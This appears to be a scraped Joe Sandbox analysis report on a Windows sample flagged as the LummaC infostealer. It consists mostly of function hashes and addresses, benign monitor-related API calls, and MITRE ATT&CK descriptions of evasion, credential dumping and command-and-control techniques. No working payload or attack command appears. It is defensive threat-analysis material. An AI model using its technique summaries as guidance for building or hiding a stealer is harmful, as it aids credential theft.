Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c3f34e8b5a72d41f62e75bd9690d48d6cd06970fefe7703b04ff7aad6f43b61
Instruction ID: 95ce1943502606be4a067de2c42a80704bdeafe6707e24c58fbdde1c6f432e1a
Opcode Fuzzy Hash: 5c3f34e8b5a72d41f62e75bd9690d48d6cd06970fefe7703b04ff7aad6f43b61
Instruction Fuzzy Hash: B101D12024A2904FC6189A7CD0D14BFB6D0975E308FA8686DE0E7CB2A7C9289452DB1F

Function 004C0386 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a3f8673866637399f6db121b856c4b93421034c6e380b944aacd120f80415f2
Instruction ID: 4b1e0aa2fd95708500879f44077087f7295c03462fa053b1f390b61f0898c1c8
Opcode Fuzzy Hash: 6a3f8673866637399f6db121b856c4b93421034c6e380b944aacd120f80415f2
Instruction Fuzzy Hash: BCF0461C6DD35046C30485B4A8D1EABEBD5CAD3124F08C42EF4D4C3786C09C850A532B

Function 004DA8F0 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90aee48f6ab85916c43225d2d96b8b2b2841a1a1b33462c8836b2ae6bf8395dc
Instruction ID: a2989793355e65c70c4db156b522f3eb7a6727e6c47242c215479703820090d0
Opcode Fuzzy Hash: 90aee48f6ab85916c43225d2d96b8b2b2841a1a1b33462c8836b2ae6bf8395dc
Instruction Fuzzy Hash: 4CF0F07670A0100FDB0CDA28E8229BEA6E3D7D2300F0A587DD082D7B94DE39D511C645

Function 004AC1E5 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b7d90a4c60859f9b85c3dad5a8027da93ad754b29955244440d6dfe9119a167
Instruction ID: c43d877e0fa2656626b1284782628db63b7f6678aeee46e297d4478143e325b7
Opcode Fuzzy Hash: 8b7d90a4c60859f9b85c3dad5a8027da93ad754b29955244440d6dfe9119a167
Instruction Fuzzy Hash: 99C012705105808FC2186F70DCC5435B779B70E20E7047425A927D7223C730D001892C

Function 004AA0A0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6d8914957729eadb0089f1d5b12a1735b55197a808c78c636d808e4e0df4bac
Instruction ID: c7a9224ec5ae2e36e0f7f4ffa6faa57e1b787ee101d77d46589e4fe68b1765bb
Opcode Fuzzy Hash: d6d8914957729eadb0089f1d5b12a1735b55197a808c78c636d808e4e0df4bac
Instruction Fuzzy Hash: 5DB01220F4D341A9D1008D15C0C01B6FAB88BEB140F00391D80CC234138110C480422B

Function 0054D278 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

GetMonitorInfoA.USER32(?,?), ref: 0054D2A9
GetSystemMetrics.USER32(00000000), ref: 0054D2E5
GetSystemMetrics.USER32(00000001), ref: 0054D2F0

Strings

GetMonitorInfo, xrefs: 0054D290
DISPLAY, xrefs: 0054D311

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: MetricsSystem$InfoMonitor
String ID: DISPLAY$GetMonitorInfo
API String ID: 4250584380-1633989206
Opcode ID: 079c1cfb1d896e5f34f4119d5d2ce0a659e96179ba5f87c29dcb0d0f7054a3a6
Instruction ID: fa37cff362d283627df835adb0f71c252ff4374dae93ba25b4f86edeecdbf1c3
Opcode Fuzzy Hash: 079c1cfb1d896e5f34f4119d5d2ce0a659e96179ba5f87c29dcb0d0f7054a3a6
Instruction Fuzzy Hash: 2711DA75A017059FD720CFA58C447F7BBF5FB46328F40492AED469B241D6B0A8048BA2

Function 0054D4F4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

EnumDisplayMonitors.USER32(?,?,?,?), ref: 0054D52D
GetSystemMetrics.USER32(00000000), ref: 0054D552
GetSystemMetrics.USER32(00000001), ref: 0054D55D

Strings

EnumDisplayMonitors, xrefs: 0054D50C

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: MetricsSystem$DisplayEnumMonitors
String ID: EnumDisplayMonitors
API String ID: 1389147845-2491903729
Opcode ID: c2051c403e74ce39abf6d381bbfc7edd89e55882621a7837a13b97ce8a57b729
Instruction ID: d9519bc4a6d5c5f20ab44732ee8f03d613d9e9874730ba6c168ef3dc1d8194ef
Opcode Fuzzy Hash: c2051c403e74ce39abf6d381bbfc7edd89e55882621a7837a13b97ce8a57b729
Instruction Fuzzy Hash: 233110B2A0020DAFDB11DFA5D984AFFBBBCAB45318F00452AF915D7141EB34D9058BB0

Function 0054D34C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000000), ref: 0054D3B9
GetSystemMetrics.USER32(00000001), ref: 0054D3C4

Strings

GetMonitorInfoA, xrefs: 0054D364
DISPLAY, xrefs: 0054D3E5

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: MetricsSystem
String ID: DISPLAY$GetMonitorInfoA
API String ID: 4116985748-1370492664
Opcode ID: 7a5b78993821c17c283dbf20b7d1f73ee881eda2e0d65acfc178a6e74f97e101
Instruction ID: 3a4d477e35b23ec74e101cde41488d7fdad61ef8e78522b7c5b01e39baad603a
Opcode Fuzzy Hash: 7a5b78993821c17c283dbf20b7d1f73ee881eda2e0d65acfc178a6e74f97e101
Instruction Fuzzy Hash: 071190B26103099FD7208F659C487E7BBFAFB46324F00492DE9469B240D7B0A8048BB5

Function 0054D420 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000000), ref: 0054D48D
GetSystemMetrics.USER32(00000001), ref: 0054D498

Strings

GetMonitorInfoW, xrefs: 0054D438
DISPLAY, xrefs: 0054D4B9

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: MetricsSystem
String ID: DISPLAY$GetMonitorInfoW
API String ID: 4116985748-2774842281
Opcode ID: d398e5cc4327e2f905d27af8408b89ffa27a3558360f0b46f52efcce31da3c2e
Instruction ID: f4415648b6c7bc71a766e8f576346bc805b91bf85411f1635710a952d72599a7
Opcode Fuzzy Hash: d398e5cc4327e2f905d27af8408b89ffa27a3558360f0b46f52efcce31da3c2e
Instruction Fuzzy Hash: C411B171601708AFDB208FA49C44BE7BBF9FF46725F01452AED4A9B241D7B0B8048BB4

Function 0054D1E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000000), ref: 0054D22E
GetSystemMetrics.USER32(00000001), ref: 0054D240

Strings

MonitorFromPoint, xrefs: 0054D1F2

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: MetricsSystem
String ID: MonitorFromPoint
API String ID: 4116985748-1072306578
Opcode ID: 8bb73c13f7c595a6757471e7116eb42059360ea823bd3e3804b1294d2c6c8cdf
Instruction ID: ff3554a474381254aa16ba5a3883bb584800e2e4222d2f78f0099ae16e21ae2c
Opcode Fuzzy Hash: 8bb73c13f7c595a6757471e7116eb42059360ea823bd3e3804b1294d2c6c8cdf
Instruction Fuzzy Hash: 4D016279308209AFDB004F54DD58BD97F66FBD67A8F509025F9199B251C2B1DC41CBB0

Function 0054D0B8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000000), ref: 0054D109
GetSystemMetrics.USER32(00000001), ref: 0054D115

Strings

MonitorFromRect, xrefs: 0054D0CD

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: MetricsSystem
String ID: MonitorFromRect
API String ID: 4116985748-4033241945
Opcode ID: ae69bf212a7e4b4c414f3c966aa8fd3c2dabd06bce2840688f18a42ea6728007
Instruction ID: 01bebb4f5aa555b9692958c41660301edfabb8b1d8062cdd3e48668516f1eaca
Opcode Fuzzy Hash: ae69bf212a7e4b4c414f3c966aa8fd3c2dabd06bce2840688f18a42ea6728007
Instruction Fuzzy Hash: 48016D716041149FEB108B14D989BE6BFBAF786369F54A055ED0AEF242C275DC40CBF1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report hthjjadrthad.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
hthjjadrthad.exe

Function 004C0400 Relevance: 35.6, Strings: 28, Instructions: 592
COMMON

Function 004A95A0 Relevance: 11.6, Strings: 9, Instructions: 349
COMMON

Function 004D4AB0 Relevance: 9.4, APIs: 2, Strings: 3, Instructions: 670
COMMON

Function 004C20A0 Relevance: 8.0, Strings: 6, Instructions: 533
COMMON

Function 004C4B40 Relevance: 4.1, Strings: 3, Instructions: 395
COMMON

Function 004AD237 Relevance: 4.1, Strings: 3, Instructions: 349
COMMON

Function 00659208 Relevance: 3.9, Strings: 3, Instructions: 184
COMMON

Function 0054A710 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 52
filenativeCOMMON

Function 0066260C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 57
COMMON

Function 02A93E39 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 337
COMMON